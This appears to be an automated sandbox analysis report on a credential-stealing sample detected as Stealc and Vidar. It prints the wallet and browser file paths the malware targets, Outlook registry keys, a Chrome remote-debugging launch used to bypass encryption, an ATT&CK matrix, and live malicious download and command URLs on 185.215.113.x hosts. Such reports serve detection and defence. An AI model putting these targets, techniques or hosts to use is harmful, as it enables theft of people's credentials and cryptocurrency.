Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2526195665.000000000034C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2526195665.0000000000281000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2079793424.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2528465742.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 2928, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840C40 sqlite3_bind_zeroblob,	0_2_6C840C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840D60 sqlite3_bind_parameter_name,	0_2_6C840D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C768EA0 sqlite3_clear_bindings,	0_2_6C768EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C840B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C840B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766410 bind,WSAGetLastError,	0_2_6C766410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C766070 PR_Listen,	0_2_6C766070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C76C050

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	1 Extra Window Memory Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	12 Process Injection	4 Obfuscated Files or Information	Security Account Manager	236 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Scheduled Task/Job	12 Software Packing	NTDS	1 Query Registry	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Extra Window Memory Injection	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	121 Masquerading	DCSync	241 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	12 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	38%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://185.215.113.206/68b591d6548ec281/mozglue.dllX	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe/M	100%	Avira URL Cloud	malware
http://185.215.113.16/mine/random.exek9	100%	Avira URL Cloud	phishing
http://185.215.113.206lfons	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpi:	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php%	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php&	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.php3	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exe710001	100%	Avira URL Cloud	phishing
http://185.215.113.206/68b591d6548ec281/freebl3.dlln	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeencoded	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.php?	100%	Avira URL Cloud	malware
http://185.215.113.206/68b591d6548ec281/msvcp140.dllY	100%	Avira URL Cloud	malware
http://185.215.113.16/steam/random.exeAC	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe1395d7	100%	Avira URL Cloud	phishing
http://185.215.113.16/steam/random.exe~	100%	Avira URL Cloud	phishing
http://185.215.113.206/c4becf79229cb002.phpg	100%	Avira URL Cloud	malware
http://185.215.113.206/c4becf79229cb002.phph	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
plus.l.google.com	142.250.184.206	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.244.18.38	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.185.100	true	false	high
googlehosted.l.googleusercontent.com	172.217.18.1	true	false	high
sni1gl.wpc.nucdn.net	152.199.21.175	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false	high
http://185.215.113.206/	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396636854&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
http://185.215.113.43/Zu7JuNko/index.php	false	high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false	high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false	high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	high
185.215.113.206/c4becf79229cb002.php	false	high
https://c.msn.com/c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=A63DE543850F4BB9BD7C9BA0E255D8AC&MUID=048A31DB7A676AF1398424EE7B306B35	false	high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731396637674&w=0&anoncknm=app_anon&NoResponseBody=true	false	high
https://c.msn.com/c.gif?rnd=1731396634697&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=0788e73eb2a84d4195bd22852445c8ab&activityId=0788e73eb2a84d4195bd22852445c8ab&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false	high
https://clients2.googleusercontent.com/crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx	false	high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	false		high
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000002.2528465742.0000000001283000.00000004.00000020.00020000.00000000.sdmp, BGHCGCAE.0.dr, Web Data.8.dr, DBAEGCGC.0.dr	false		high
http://www.broofa.com	chromecache_474.4.dr	false		high
https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://ntp.msn.com/0	000003.log9.8.dr	false		high
https://ntp.msn.com/_default	QuotaManager.8.dr	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2550982673.00000000239E1000.00000004.00000020.00020000.00000000.sdmp, BFBAAFHDHCBGCAKFHDAK.0.dr	false		high
https://www.last.fm/	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://185.215.113.16/steam/random.exe/M	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.8.dr	false		high
https://ntp.msn.cn/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://aefd.nelreports.net/api/report?cat=bingcsp	Reporting and NEL.9.dr	false		high
https://sb.scorecardresearch.com/	2cc80dabc69f58b6_1.8.dr	false		high
https://deff.nelreports.net/api/report	Reporting and NEL.9.dr	false		high
https://docs.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/68b591d6548ec281/mozglue.dllX	file.exe, 00000000.00000002.2528465742.0000000001267000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.youtube.com	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://deff.nelreports.net/api/report?cat=msnw	Reporting and NEL.9.dr	false		high
https://www.instagram.com	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
https://web.skype.com/?browsername=edge_canary_shoreline	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpi:	skotes.exe, 00000018.00000002.3324664657.0000000000810000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive.google.com/	manifest.json0.8.dr	false		high
https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1	b5b1faba-c05f-4d1a-907b-c42923125664.tmp.8.dr	false		high
